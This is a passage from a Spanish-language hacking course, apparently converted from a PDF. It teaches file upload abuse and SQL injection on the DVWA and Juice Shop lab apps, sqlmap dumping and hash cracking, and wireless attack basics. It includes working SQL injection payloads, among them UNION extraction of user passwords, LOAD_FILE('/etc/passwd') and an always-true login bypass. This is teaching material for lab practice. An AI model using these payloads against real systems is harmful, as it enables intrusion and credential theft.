Si accedemos a DVWA y pulsamos el botón Upload del menú de la izquierda:

Veremos un formulario para subir imágenes. Pulsamos el botón Browse para buscar la
imagen que queramos subir:

607
Web

la seleccionamos y pulsamos el botón Open:

finalmente pulsamos el botón Upload para subirla:

Veremos que la imagen se ha subido a la ruta ../../hackable/uploads/[Link]:

608
Web

y podremos acceder a ella:

este es el comportamiento normal que esperamos, pero que pasa si subimos un fichero, por
ejemplo, con extensión php. Creamos un fichero con la funcion phpinfo de php:

<?php
phpinfo();
?>

y pulsamos el botón Upload:

veremos que, aunque no se trate de una imagen, se ha subido al servidor:

609
Web

y podemos visualizarlo correctamente:

610
Ataques a bases de datos

Ataques a bases de datos


Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Inyección a bases de datos SQL

2. MySQL

Referencias usadas

MySQL y MariaDB

FALTA LA INTRODUCCIÓN
Iniciamos el servicio de mysql:

Accedemos desde Kali a MySQL usando el comando:

mysql -u root -p

Pulsamos Intro cuando nos pregunte la contraseña:

para logarnos:

611
Ataques a bases de datos

Por convención, los comandos de SQL se escriben con mayúsculas. El primer comando
que ejecutaremos es SHOW DATABASES para que nos muestre las bases de datos
disponibles. Acabamos las sentencias SQL con punto y coma (;). Entre las bases de datos
disponibles, vemos 2 que nos serán de interés más adelante:

mysql
information_schema

Vamos a crear una base de datos para aprender un poco de SQL antes de comenzar a
realizar inyecciones. Para crear una base de datos, usaremos el comando CREATE
DATABASE seguido del nombre de la base de datos. En este caso, llamaremos a la base
de datos pruebas:

Si volvemos a ejecutar el comando SHOW DATABASES, podremos ver la base de datos


que hemos creado:

Para interactuar con la base de datos que hemos creado, usaremos el comando USE
seguido de las base de datos que queremos usar. En este caso pruebas:

612
Ataques a bases de datos

Podemos confirmar que hemos seleccionado correctamente la base de datos usando el


comando SELECT DATABASE(). El comando SELECT sirve para consultar información en
las tablas de una base de datos y la función DATABASE me devuelve el nombre de la base
de datos que se está utilizando en este momento:

Veremos más ejemplos de cómo usar SELECT muy pronto pero primero necesitamos
tablas. Para ver las tablas que tiene la base de datos que estamos utilizando, usamos el
comando SHOW TABLES:

En este caso, como la base de datos acaba de ser creada, no tiene tablas. Vamos a crear
una tabla usando el comando CREATE TABLE. Antes de ver cómo crear la tabla, veamos
un par de tipos de datos para poder crearla:

INT => Números enteros


VARCHAR(n) => n carácteres

Es decir, VARCHAR nos va a permitir introducir texto hasta un número máximo de


caracteres y INT números enteros de hasta 4 bytes. Con esto ya podemos crear la tabla:

613
Ataques a bases de datos

CREATE TABLE colores_favoritos_alumnos_sabados (


nombre VARCHAR(20),
apellido VARCHAR(25),
edad INT,
color_favorito VARCHAR(25)
);

Ahora si volvemos a ejecutar el comando SHOW TABLES, veremos que la base de datos
se ha creado correctamente:

Para ver las columnas de la base de datos que hemos creado usaremos el comando SHOW
COLUMNS FROM seguido del nombre de la tabla:

Ya que tenemos una tabla, podemos usar el comando SELECT para consultar información
de la misma. Para ello, indicamos a SELECT las columnas de la tabla que queremos, por
ejemplo, nombre y edad, y el nombre de la tabla:

SELECT nombre, edad FROM colores_favoritos_alumnos_sabados;

614
Ataques a bases de datos

En este caso, no hay datos. Vamos a introducir datos en la tabla de la forma más sencilla.
Para ello usaremos el comando INSERT INTO seguido del nombre la tabla, después
pondremos VALUES y los valores que queramos insertar. Por ejemplo:

INSERT INTO colores_favoritos_alumnos_sabados VALUES ('pepita','perez',30,'azul');

Ahora tras insertar valores en la tabla, si ejecutamos la consulta anterior:

SELECT nombre, edad FROM colores_favoritos_alumnos_sabados;

Veremos los resultados. Si en vez de querer columnas concretas, quisiéramos seleccionar


todas las columnas, podemos usar el símbolo asterisco:

Añadamos unas cuantas filas más a nuestra tabla. Para ello, utilizaremos el comando
INSERT de la siguiente forma:

INSERT INTO colores_favoritos_alumnos_sabados VALUES


('pepito','perez',30,'rosa'),
('laura','garcia',25,'negro'),
('eduardo','manostijeras',33,'morado'),
('elena','de troya',36,'negro'),
('saul','soul',25,'rosa'),
('violeta','coello',45,'negro'),
('juan','rubio',50,'gris');

615
Ataques a bases de datos

Podemos contar el número de filas que hay en nuestra base de datos usando la función
COUNT de MySQL:

SELECT COUNT(*) FROM colores_favoritos_alumnos_sabados;

Veremos que hay 8 filas. Nuevamente podemos usar SELECT para ver el contenido de las
8 filas:

SELECT * FROM colores_favoritos_alumnos_sabados;

Muchas veces necesitamos usar filtros para poder recuperar sólo la información de la base
de datos que nos interese. Los filtros van comprobando fila por fila si se cumple una
condición y, en caso de que en esa fila se cumpla, muestran los resultados de esa fila. Para
realizar filtros vamos a usar el comando WHERE seguido de la condición o condiciones por
las que queramos filtrar. Por ejemplo, imaginemos que queremos saber las personas cuyo
color favorito es el negro. Para ello, realizamos la siguiente busqueda:

616
Ataques a bases de datos

SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'negro';

Como hemos mencionado, también podemos realizar busquedas con varias condiciones
apoyandonos del comando:

OR si queremos que nos devuelva el resultado de la fila si se cumple alguna de las


condiciones
AND si queremos que nos devuelva el resultado de la fila sólo si se cumplen ambas
condiciones

Veamos ejemplos. Seleccionemos las personas cuyo color favorito es el negro o el rosa:

SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'negro' OR color_favorito = 'rosa';

o seleccionamos las personas cuyo color favorito sea el negro y sean menores de 40 años:

SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'negro' AND edad < 40;

617
Ataques a bases de datos

También podemos poner condiciones imposibles. Por ejemplo, seleccionemos las personas
que tienen a la vez 30 y 50 años. Es decir, es algo imposible porque o bien tienen 30 o bien
50 pero no ambas:

SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE edad = 30 AND edad = 50;

El resultado de la consulta son 0 filas porque hemos dado una condición imposible de
cumplir. Sin embargo, vamos a hacer ahora lo contrario, vamos a dar una condición que
pase lo que pase, siempre se cumpla. Por ejemplo, podemos comparar 2 valores que sean
iguales. En este caso, podemos comparar la palabra trasto consigo misma:

SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE 'trasto'='trasto';

618
Ataques a bases de datos

y como un trasto es un trasto, pues nos devolverá todos los resultados. Como hemos
comentado anteriormente, el filtro va, fila por fila, evaluando si es verdad la condición del
filtro y, si lo és, nos muestra los datos de esa fila. En este caso, como la condición del filtro
es siempre verdadera, nos devuelve todos los datos. Como veremos más adelante, esto es
un problema para la seguridad de una aplicación web en la que no se validen correctamente
los datos ya que un usuario con malas intenciones puede aprovecharse de esto para añadir
condiciones que siempre sean verdad utilizando el operador OR. Veamos un ejemplo.
Seleccionemos todos los usuarios cuyo color favorito sea el morado:

SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'morado';

Vemos que sólo hay una persona cuyo color favorito sea morado. Ahora podemos sacar
partido del operador OR para añadir una segunda condición que siempre sea verdad:

SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'morado' OR 'trasto'='trasto';

Veremos que se muestran todos los resultados de la tabla ya que la consulta devuelve los
resultados que cumplan una de las siguientes condiciones:

que el color favorito sea morado


que la palabra trasto sea igual a la palabra trasto

619
Ataques a bases de datos

Ira comprobando fila a fila si cumplen alguna de las condiciones y, como una de las
condiciones es verdad siempre, se mostrarán todos los resultados. Utilizaremos está
técnica más adelante con distintos fines.

Sentencias UNION
Las bases de datos nos permiten unir datos de distintas tablas. La forma de unirlos es
usando sentencias JOIN y sentencias UNION. JOIN se sale del alcance de esta pequeña
guía, por lo que nos centraremos en UNION. Para poder experimentar con UNION creamos
una segunda tabla que se llame colores_favoritos_alumnos_viernes:

CREATE TABLE colores_favoritos_alumnos_sabados (


nombre VARCHAR(20),
apellido VARCHAR(25),
edad INT,
color_favorito VARCHAR(25)
);

INSERT INTO colores_favoritos_alumnos_viernes VALUES


('pepita','perez',30,'azul'),
('pepito','perez',30,'rosa'),
('laura','garcia',25,'negro'),
('eduardo','manostijeras',33,'morado'),
('elena','de troya',36,'negro'),
('saul','soul',25,'rosa'),
('violeta','coello',45,'negro'),
('juan','rubio',50,'gris'),
('maria','castillo',27,'azul'),
('marco','polo',27,'rosa');

620
Ataques a bases de datos

Ahora que tenemos 2 tablas, podemos unirlas. UNION representa la unión matemática de
dos conjuntos. Es decir, va a mostrar todos los resultados que haya en ambas tablas pero,
si hubiese filas repetidas, sólo las mostrará una vez. Veamos un ejemplo:

SELECT * FROM colores_favoritos_alumnos_viernes


UNION
SELECT * FROM colores_favoritos_alumnos_sabados;

Debido a que todos los alumnos que asisten el sábado a clase, también asisten el viernes,
sólo se muestran 10 resultados. Si quisiéramos que se mostrase todo, incluyendo los
repetidos, debemos usar la sentencia UNION ALL. Veamos un ejemplo:

SELECT * FROM colores_favoritos_alumnos_viernes


UNION ALL
SELECT * FROM colores_favoritos_alumnos_sabados;

621
Ataques a bases de datos

Vemos que ahora nos muestra 18 filas. Las 10 de la tabla


colores_favoritos_alumnos_viernes y las 8 de la tabla colores_favoritos_alumnos_sabados.
Hemos aprendido a unir tablas usando UNION. UNION nos une una tabla con otra,
poniendo las filas de una tabla debajo de la otra. Esto quiere decir que necesitamos que las
tablas tengan el mismo número de columnas. Por ejemplo, vamos a seleccionar los datos
de la columnas edad y color favorito de ambas tablas:

SELECT edad, color_favorito FROM colores_favoritos_alumnos_viernes


UNION
SELECT edad, color_favorito FROM colores_favoritos_alumnos_sabados;

Veamos ahora que ocurre, si seleccionamos en una tabla un número distinto de columnas
que en la otra. Por ejemplo, omitimos la columna edad en la tabla
colores_favoritos_alumnos_viernes:

SELECT color_favorito FROM colores_favoritos_alumnos_viernes


UNION
SELECT edad, color_favorito FROM colores_favoritos_alumnos_sabados;

Como vemos no es posible y MariaDB nos muestra un error. Es decir, que como ponemos
una tabla debajo de otra, ambas deben tener el mismo número de columnas. Hasta ahora,
hemos utilizado UNION para seleccionar datos que esten en una tabla pero, si os

622
Ataques a bases de datos

recordamos ejemplos anteriores, MariaDB cuenta con funciones que podemos USAR con
las sentencias SELECT. Por ejemplo, hemos visto las funciones DATABASE() y COUNT().
Vamos a utilizarlas en la siguiente consulta:

SELECT edad, color_favorito FROM colores_favoritos_alumnos_viernes


UNION
SELECT DATABASE(), COUNT(*) FROM colores_favoritos_alumnos_sabados;

Como vemos, en la última fila de los resultados, bajo la columna edad tenemos el nombre
de la base de datos y bajo la columna color_favorito, tenemos el número de filas de la tabla
colores_favoritos_alumnos_sabados. Esta técnica también la usaremos para extraer
información de la base de datos. En estos ejemplos, estamos consultando información en
las tablas de la base de datos pruebas, pero también podemos consultar datos de tablas
que se encuentren en otras bases de datos. Por ejemplo, podemos consultar datos de la
tabla user de la base de datos mysql. Cuando queramos acceder a una tabla de una base
de datos distinta a la que estamos usando, debemos indicarlo con la notación
[Link]:

SELECT edad, color_favorito FROM colores_favoritos_alumnos_viernes


UNION
SELECT user, password FROM [Link];

623
Ataques a bases de datos

En este caso, sólo esta dado de alta el usuario de root y no tiene contraseña. Lo último que
vamos a ver es la forma de realizar comentarios en mysql. Aunque existen 3 formas de
hacer comentarios en una base de datos MySQL, vamos a ver el más conocido que es usar
doble guión. Todo lo que venga despues del doble guión será ignorado. Veamos un
ejemplo:

SELECT edad, color_favorito FROM colores_favoritos_alumnos_viernes -- UNION SELECT use


r, password FROM [Link];
;

DVWA SQLi
Vamos a practicar lo que hemos aprendido con dvwa. Para ello, hacemos click sobre el
botón SQL Injection:

624
Ataques a bases de datos

buscamos un usuario y pulsamos el botón Submit:

vemos que nos devuelve los datos del usuario correspondiente al ID:

Pensemos cómo puede ser esta query en SQL. Probablemente será algo así:

SELECT * FROM users WHERE user_id = 'el id que busquemos';

625
Ataques a bases de datos

El formulario que estamos usando, modifica el filtro user_id. Si ponemos un 1, la consulta


quedaría así:

SELECT * FROM users WHERE user_id = '1';

Si metemos un 2, la consulta quedaría así:

SELECT * FROM users WHERE user_id = '2';

Es decir, nosotros podemos modificar todo lo que haya entre las comillas:

Pero que pasa si, en vez de escribir un número en el formulario, ponemos una comilla:

Al poner una comilla, cerramos el texto que podemos cambiar, y se abre una nueva comilla
que nunca se cierra:

Lo cual provoca un error en la consulta a la base de datos. Si probamos en dvwa a poner


una comilla y pulsamos el botón Submit:

Veremos el mensaje del error:

626
Ataques a bases de datos

esto podemos arreglarlo, añadiendo una segunda comilla que cierre el texto que antes
hemos señalado en amarillo:

de esta forma el punto y coma (;) no queda como si fuera texto y, si probamos en dvwa:

la sentencia se ejecuta correctamente y no da mensajes de error. Ahora que hemos


aprendido a modificar la consulta SQL, podemos utilizar nuestro conocimiento del operador
OR para cambiar los filtros de la consulta y que nos devuelva todas las filas de la tabla que
estamos consultando. Para ello, como vimos en el paso anterior, podemos comparar la
palabra trasto con si misma. Lo que tenemos que teclear es:

' OR 'trasto'='trasto

Veamos el porqué. Si la consulta aproximadamente es así:

y nosotros añadimos el payload a la consulta:

Vemos que cerramos la primera comilla:

y después realizamos una comparación que siempre será verdad:

627
Ataques a bases de datos

Debido a esto, como el filtro siempre será verdad, debería devolvernos todos los resultados.
Probemosló en dvwa. Tecleamos el payload en el formulario y pulsamos el botón Submit:

y veremos como se muestran todos los resultados de la tabla:

Como vemos que podemos alterar la consulta del programador, vamos a intentar usar
sentencias UNION para intentar sacar información de la base de datos. Para ello, tenemos
que averiguar el número de columnas. Comencemos probando si la tabla que devuelve la
consulta tiene sólo una columna. Para ello, por ejemplo, vamos a utilizar el siguiente
payload:

' UNION SELECT 'a ver si tiene una' --'

628
Ataques a bases de datos

Si metemos el payload en la consulta, quedaría así:

Es decir, la última parte de la sentencia quedaría comentada:

Probemoslo en dvwa:

y veremos que tiene más de una columna:

Como no tiene una, probemos a ver si tiene 2:

' UNION SELECT 'no tiene una', 'a ver si tiene 2' --'

Volvemos a teclear el payload en el formulario y pulsamos el botón Submit:

629
Ataques a bases de datos

Vemos que tiene dos columnas porque, en vez de darnos error, nos muestra los resultados:

De hecho, podemos probar a ver si tiene 3 columnas, para confirmar que nos vuelve a
mostrar el mensaje de error. Esta vez, en vez de frases, usaremos números en el payload:

' UNION SELECT 1, 2, 3 --'

Metemos el payload en el formulario y pulsamos el botón Submit:

630
Ataques a bases de datos

veremos que vuelve a mostrar el mensaje de error:

Una vez que confirmamos que podemos extraer datos utilizando sentencias UNION, vamos
a comenzar a averiguando el nombre de la base de datos que se está utilizando con la
función DATABASE() y la versión de MySQL con la función VERSION():

' UNION SELECT DATABASE(), VERSION() --'

y veremos que la base de datos se llama dvwa y que la versión de MySQL es la 5:

631
Ataques a bases de datos

Normalmente la versión de la base de datos suele ser más que un número. Como no se nos
ha mostrado correctamente vamos a ayudarnos de la función CONCAT de MySQL que nos
permite unir dos cadenas de texto para sacar la versión de la base de datos correctamente.
Para ello, tecleamos en el formulario:

' UNION SELECT CONCAT(DATABASE()," ",VERSION()), 'da igual' --'

y pulsamos el botón Submit:

Podemos sacar a continuación el nombre del usuario que se esta usando para realizar las
consultas en la base de datos:

' UNION SELECT CURRENT_USER(), 'da igual' --'

y veremos que se está usando el usuario root de MySQL:

632
Ataques a bases de datos

Lo cual es muy mala práctica. MySQL tiene una función que se llama LOAD_FILE que nos
va a permitir leer ficheros. Vamos a utilizar esta función para extraer todos los usuarios de la
máquina leyendo el archivo /etc/passwd:

' UNION SELECT LOAD_FILE('/etc/passwd'), 'da igual' --'

Nuevamente, usamos este payload en el formulario:

y veremos que hemos podido leer el archivo:

Si recordamos del principio del capítulo, en mysql, por defecto, vienen creadas las bases de
datos information_schema y mysql. La base de datos information_schema contine
información sobre el resto de bases de datos como, por ejemplo, qué tablas tiene cada base
de datos o qué columnas tiene cada tabla. Una de las tablas interesante de esta base de
datos es columns. La tabla columns de la base de datos information_schema almacena el
nombre de todas las tablas y todas las columnas de cada tabla de todas las bases de datos
en el servidor MySQL. Para ampliar información sobre la tabla columns, podemos consultar
la documentación oficial de MySQL. En este caso, vamos a consultar todas las columnas de
cada tabla de cada una de las bases de datos. Para ello, solicitaremos las columnas:

table_schema
table_name

633
Ataques a bases de datos

column_name

de la tabla columns de la base de datos information_schema. Como sólo podemos sólicitar


2 columnas, nos apoyaremos en la función CONCAT de MySQL para poder pedir las tres de
golpe:

' UNION SELECT CONCAT(table_schema," - ",table_name), column_name FROM information_sch


[Link] -- '

Copiamos la consulta en el formulario y pulsamos Submit:

Veremos que se nos muestran los resultados:

Por ejemplo, encontramos la base de datos dvwa y vemos que tiene una tabla que se llama
users que, entre otras, contiene las columnas user y password:

634
Ataques a bases de datos

Asimismo también podemos ver la información de la otra base de datos que viene creada
por defecto, que se llama mysql, y que tiene una tabla que se llama user con las columnas
user y password:

Con esta información, por ejemplo, vamos a consultar los usuarios y las contraseñas de la
tabla users de la base de datos dvwa. De esta forma, podremos tener acceso a todos los
usuarios de la aplicación dvwa. Para ello, copiamos la consulta:

' UNION SELECT user, password FROM [Link] -- '

al formulario y pulsamos Submit:

635
Ataques a bases de datos

Para ver los usuarios y sus contraseñas:

Las contraseñas han sido hasheadas. Copiamos el hash que queramos crackear:

636
Ataques a bases de datos

y, como aprendimos en un tema anterior, podemos averiguar de qué hash se trata utilizando
los programas hash-identifier o hashid:

Vemos que nos da 2 resultados posibles. Vamos a comenzar probando con MD5. Copiamos
el hash a un fichero:

y lo crackeamos:

para ver la contraseña:

Explotando SQLi inyections con sqlmap


Una vez que hemos visto como hacerlo manualmente, veamos cómo podríamos hacerlo de
forma automática usando el programa sqlmap. Para ello, activamos el proxy de burpsuite:

637
Ataques a bases de datos

Nos aseguramos que lo tenemos configurado en el navegador:

escribimos un número en el formulario y hacemos click en el botón Submit:

El proxy de burpsuite capturará la petición HTTP. Pulsamos Forward para enviar la petición
al servidor:

638
Ataques a bases de datos

y nuevamente Forward para enviar la respuesta del proxy al navegador:

A continuación, desde la pestaña HTTP History, hacemos click con el botón derecho sobre
la petición (Request) y seleccionamos Copy to file del menú desplegable:

639
Ataques a bases de datos

Le damos un nombre y pulsamos el botón Save:

Una vez tenemos guardada la petición post en ese fichero, vamos a lanzar sqlmap. Para
ello, usamos las opciones:

640
Ataques a bases de datos

-r para indicarle a sqlmap el fichero donde se encuentra la petición HTTP


--dbms para indicarle el motor de base de datos que estamos atacando. En este caso
MySQL
-p para indicarle a sqlmap cuál es el parámetro vulnerable

sqlmap -r [Link] --dbms=mysql -p id

y veremos que el parámetro es vulnerable:

al final de ejecutarse, nos mostrará un breve resumen de lo que ha encontrado:

ahora que sabemos que explotable a través de UNION, vamos a indicarle que use esta
técnica con la opción --technique=U y vamos a pedirle que nos muestre el usuario de la
base datos con --current-user:

sqlmap -r [Link] --dbms=mysql -p id --technique=U --current-user

641
Ataques a bases de datos

Podemos ahora usar --current-db en vez de current-user, para que nos muestre la base de
datos que se esta usando:

sqlmap -r [Link] --dbms=mysql -p id --technique=U --current-db

Si quisiéramos saber, todas las bases de datos utilizaríamos la opción --dbs:

sqlmap -r [Link] --dbms=mysql -p id --technique=U --dbs

642
Ataques a bases de datos

Una vez sabemos las bases de datos, podemos intentar listar todas las tablas de una de
ellas. Por ejemplo, intentemos listar todas las tablas de la base de datos dvwa. Para ello,
incluimos la opción --tables para que nos devuelva las tablas y la opción -D para restringir
los resultados a la base de datos que queramos:

sqlmap -r [Link] --dbms=mysql -p id --technique=U --tables -D dvwa

Una vez que vemos las tablas, podemos ver las columnas de una tabla. Por ejemplo,
intentemos ver las columnas de la tabla users. Para ello, utilizaremos la opción --columns
para indicar que queremos las columnas y la opción -T para indicar la tabla:

sqlmap -r [Link] --dbms=mysql -p id --technique=U --columns -T users -D dvwa

643
Ataques a bases de datos

Una vez que tenemos la tabla, si queremos extraer su contenido, usaremos la opción --
dump:

sqlmap -r [Link] --dbms=mysql -p id --technique=U --dump -T users -D dvwa

Como detectará hashes, nos preguntará si queremos crackearlos. En este caso pulsamos
Intro para aceptar que intente crackear los hashes y cuando nos pregunte qué diccionario
usar, tecleamos 1 y pulsamos Intro:

644
Ataques a bases de datos

Veremos que en pocos segundos, los hashes son crackeados y podemos ver las
contraseñas en texto plano:

OWASP Juice Shop - Inyecciones SQL en formularios de


autenticación
Muchos de los formularios de las aplicaciones que sirven para identificar y autenticar a los
usuarios, comprueban las credenciales facilitadas contra una base de datos SQL. Si los
datos no se validan correctamente, un usuario con malas intenciones puede modificar la
consulta original del programador para poder entrar. Vamos a ver un ejemplo. Accedemos al
formulario para autenticarnos pulsando en la opción Login:

Cuando nos enfrentamos a una aplicación de este tipo, aunque no sabemos exactamente
cuál es la consulta SQL que hace el programador para comprobar las credenciales que le
pasamos, normalmente es algo así:

645
Ataques a bases de datos

Es decir, podemos controlar los datos que se pasarán como usuario y como contraseña. La
idea es intentar encontrar un usuario válido y hacer que no se compruebe la contraseña. En
este caso, en vez de un usuario válido, vamos a buscar una condición que siempre sea
verdad para el campo usuario y comentaremos lo demas. Por ejemplo, podemos usar el
payload

' oR 'quiero entrar'='quiero entrar' -- '

Si copiamos este payload y lo pegamos en la sentencia SQL:

Veremos que tenemos una condición siempre válida y que la comprobación de la


contraseña no se ejecuta por estar comentada:

Es decir, podemos copiar el payload y poner cualquier contraseña en el formulario que,


cuando pulsemos el botón Log in:

entraremos sin problemas a la aplicación:

646
Ataques a bases de datos

647
Ataques a redes inalámbricas

Ataques a redes inalámbricas


Para configurar la tarjeta ver la sección de configurar máquinas virtuales con virtualbox.

Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Introducción

2. Tarjeta inalámbrica
Primeros comandos
Cambiando la dirección MAC de la tarjeta inalámbrica
Activar modo monitor

3. Capturando tráfico
airodump-ng

4. Ataques y acciones contra redes inalámbricas


Deauthentication - Expulsando a clientes conectados a una red inalámbrica
Descubriendo redes inalámbricas ocultas. Redes que no emiten su nombre
(ESSID)

5. Cracking
Ataque de diccionario contra WPA/WPA2 usando aircrack-ng
Construyendo diccionarios con crunch

6. Rogue AP y Evil Twin


Usando airbase-ng

Referencias usadas
1. Libros

Linux Basics for Hackers


Penetration Testing -A Hands-On Introduction to Hacking
2. Tarjeta inalámbrica usada en las pruebas:

Alfa Network AWUS036NHA

648
Ataques a redes inalámbricas

2. Tarjeta inalámbrica

Primeros comandos
Una vez conectada la tarjeta inalámbrica, podemos usar el comando netstat con la opción -i
para visualizar todas las interfaces de red:

o el habitual ifconfig:

Si la tarjeta no apareciese al ejecutar netstat o ifconfig, probablemente, signifique que no


esta habilitada. Vamos a ver un ejemplo. Deshabilitamos la interfaz de la tarjeta inalámbrica
(wlan0) usando ifconfig. Para ello, le pasamos al comando ifconfig la interfaz sobre la que
queremos realizar cambios -wlan0 en este caso- y la palabra down si queremos
deshabilitarla o up si queremos habilitarla. En este caso, como queremos deshabilitar la
interfaz:

Una vez esta deshabilitada, veremos que no aparece al listar las interfaces con netstat:

649
Ataques a redes inalámbricas

o ifconfig:

Sin embargo, aunque esté desactivada, podemos ver la interfaz con la opción -a de ifconfig:

Para comenzar a trabajar con la tarjeta, la habilitamos:

y nos aseguramos que este habilitada usando el comando ifconfig o netstat:

650
Ataques a redes inalámbricas

Otro comando que podemos utilizar para configurar y visualizar las interfaces, es iwconfig:

iwconfig esta orientado en interfaces inalámbricas.

Cambiando la dirección MAC de la tarjeta inalámbrica


Podemos ver la dirección MAC de nuestra tarjeta de red usando el comando ifconfig:

Algunos programas que usaremos para realizar ataques a redes inalámbricas tienen
opciones para cambiar la dirección MAC de nuestra interfaz (tarjeta) inalámbrica pero, en
caso de que no las tuvieran, podemos usar el comando ifconfig para asignar la dirección
MAC que queramos a nuestra tarjeta inalámbrica. Para ello, deshabilitamos la interfaz
inalámbrica:

y utilizamos el comando ifconfig pasandole como argumentos:

la interfaz sobre la que queremos realizar cambios. En este caso wlan0


las palabras hw ether seguidas de la nueva dirección MAC que queramos asignar a la
tarjeta

651
Ataques a redes inalámbricas

habilitamos nuevamente la tarjeta tras realizar el cambio:

y si ejecutamos ifconfig podremos confirmar que el cambio de dirección MAC se ha


realizado correctamente:

Aunque hemos utilizado ifconfig para cambiar la dirección MAC de una interfaz inalámbrica,
también sería válido para cambiar la dirección MAC de cualquier otra interfaz de red. Otro
programa que podemos utilizar para cambiar la MAC de las interfaces es macchanger. Para
usarlo, le pasamos al programa macchanger la interfaz sobre la que queramos realizar los
cambios y las opciones que queramos usar. Por ejemplo, para visualizar la MAC de una
interfaz, le pasamos la opción --show:

macchanger wlan0 --show

Para cambiar la dirección MAC de la interfaz, primero deshabilitamos la tarjeta:

A continuación, según necesitemos, utilizaremos distintas opciones que nos ofrece el


programa macchanger. Por ejemplo, podemos usar la opción -A para que utilice una
dirección MAC aleatoria de cualquier tipo y de cualquier fábricante:

o la opción -a para que nos facilite una dirección MAC aleatoria del mismo tipo y de
cualquier fabricante:

652
Ataques a redes inalámbricas

si lo que queremos es que sea totalmente aleatoria, podemos usar la opción -r:

y si queremos dejar la dirección MAC original de la interfaz inalámbrica, podemos usar la


opción -p:

Activar modo monitor


Por defecto, la interfaz de la tarjeta inalámbrica está configurada en modo managed para
capturar el tráfico que va destinado a la interfaz:

Si queremos capturar todos los paquetes que estén a nuestro alcance -destinados a nuestra
MAC o no- debemos activar el modo monitor. El modo más sencillo de activarlo es usar el
comando iwconfig. Para ello, como venimos haciendo, deshabilitamos la interfaz
inalámbrica usando ifconfig:

después indicamos a iwconfig la interfaz inalámbrica seguida de la palabra mode y el modo


a utilizar:

653
Ataques a redes inalámbricas

finalmente levantamos la interfaz de nuevo usando ifconfig:

veremos que se ha activado el modo monitor:

para volver a dejar la interfaz en modo cliente, podemos deshabilitar la interfaz con ifconfig
y usar nuevamente iwconfig:

después habilitar nuevamente la interfaz y comprobar con iwconfig que los cambios han
sido realizados:

Otra forma de activarlo es usar el programa airmon-ng de la suite aircrack. Si tecleamos


airmon-ng, veremos las interfaces inalámbricas en las que podemos activar el modo
monitor:

Antes de iniciar el modo monitor, vamos a comprobar si hubiese procesos que pudiesen
interferir con el modo monitor. Para ello, le pasamos la opción check al programa airmon-ng:

654
Ataques a redes inalámbricas

Para finalizar todos los procesos que podrían interferir, aparte de la opción check,
pasaremos la opción kill a airmon-ng:

Tras haber revisado los procesos, activamos el modo monitor pasandole la opción start
seguida de la interfaz inalámbrica al programa airmon-ng:

Veremos que se activa el modo monitor en la interfaz wlan0mon. Si ejecutamos iwconfig,


ahora veremos la interfaz:

Cuando activemos el modo monitor, si estuviésemos conectados a un router inalámbrico o


punto de acceso, automáticamente se desconectaría y perderíamos la conexión. Esto es
normal ya que, cuando activamos el modo monitor, normalmente no usaremos la tarjeta
para conectarnos como clientes a un punto de acceso, sino para realizar alguna auditoria o

655
Ataques a redes inalámbricas

capturar paquetes que estén a nuestro alcance aunque no sean para nosotros. Para
desactivar el modo monitor, pasaremos la opción stop seguido de la interfaz inalámbrica al
comando airmon-ng:

3. Capturando tráfico

airodump-ng
Una vez que hemos activado el modo monitor, seremos capaces de capturar todos los
paquetes dentro del alcance de nuestra tarjeta inalámbrica. Para capturar el tráfico,
podemos usar el programa airodump-ng de la suite aircrack. Para ello, le pasamos a
airodump-ng la interfaz inalámbrica. En este caso wlan0mon:

y pulsamos intro para comezar la captura:

Mientras captura podremos visualizar las redes inalámbricas que estan a nuestro alcance e
información de las mismas como:

BSSID - dirección MAC del punto de acceso

656
Ataques a redes inalámbricas

PWR - Power. Aproximadamente a qué distancia está el punto de acceso de nuestro


tarjeta wifi. Cuanto más cerca este el punto de acceso, más fácil es capturar paquetes.
Beacons - También llamados balizas. Son señales que emiten los puntos de acceso
(AP) con información sobre la red inalámbrica para que pueda ser detectada.
#Data - Indica el número de paquetes útiles que hemos capturado
#/s - es el número de paquetes data que hemos capturado en los últimos segundos
CH - Es el número del canal que está usando el punto de acceso para emitir
MB - Indica la velocidad máxima de la red
ENC - Encryption. Indica el método de cifrado usado en la red
CIPHER - Indica el algoritmo de cifrado usado
AUTH - Indica el tipo de autenticación que usa la red
ESSID - nombre de la red

Hemos visto como usar airodump-ng para capturar paquetes de las redes inalámbricas a
nuestro alcance, pero una vez seleccionamos una red inalámbrica objetivo, es más efectivo
capturar paquetes sólo de esa red. Para ello, vamos a usar airodump-ng pasandole las
siguientes opciones:

--channel => para indicar el canal en el que está emitiendo el punto de acceso
--bssid => para indicar la dirección MAC del punto de acceso
--write nombreFicheroDondeGuardarLaCaptura => para guardar la captura en un
fichero
interfaz inalámbrica a usar:

escribimos el comando:

y lo ejecutamos pulsando intro:

veremos que ahora tenemos 2 secciones. Una ya la conocemos porque es la misma que
teníamos cuando usabamos airodump-ng para capturar el tráfico de todas las redes
inalámbricas a nuestro alcance. La otra sección contiene información de los clientes que
están conectados a ese punto de acceso:

657
Ataques a redes inalámbricas

Aquí podemos ver información como:

STATION Nos indica la dirección MAC del cliente que está conectado a la red
Rate Indica la velocidad máxima del dispositivo
Lost Indica los paquetes que se han perdido en la comunicación
Frames Indica los paquetes útiles que hemos capturado

Tras finalizar la captura, podremos ver los ficheros que airodump-ng ha creado:

Vemos que detrás de los ficheros creados ha puesto 01 para indicar que nuestra primera
captura.

4. Ataques y acciones contra redes inalámbricas

Deauthentication - Expulsando a clientes conectados a una


red inalámbrica
Siempre y cuando el punto de acceso este dentro de nuestro rango, este ataque nos va a
permitir hacer perder la conexión a cualquier cliente de cualquier punto de acceso al que
esté conectado mientras dure el ataque. No importa que no tengamos acceso a la red o que
la red requiera autenticación, si el punto de acceso esta dentro del alcance de nuestra
tarjeta inalámbrica, podremos hacer que los clientes pierdan la conexión. Este ataque hace
2 cosas:

Falsifica la dirección MAC del cliente (MAC Spoofing) y envía paquetes para
deautenticarse al punto de acceso o router inalámbrico
Falsifica la dirección MAC del punto de acceso (MAC Spoofing) y envia paquetes al
cliente para indicarle que debe volver a autenticarse

